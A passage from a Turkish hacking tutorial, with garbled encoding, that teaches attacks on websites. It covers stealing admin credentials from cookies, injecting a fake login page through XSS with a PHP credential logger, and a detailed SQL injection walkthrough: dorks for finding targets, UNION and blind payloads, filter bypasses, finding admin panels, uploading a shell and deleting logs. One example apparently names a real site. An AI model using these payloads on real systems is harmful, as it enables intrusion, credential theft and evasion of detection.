Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
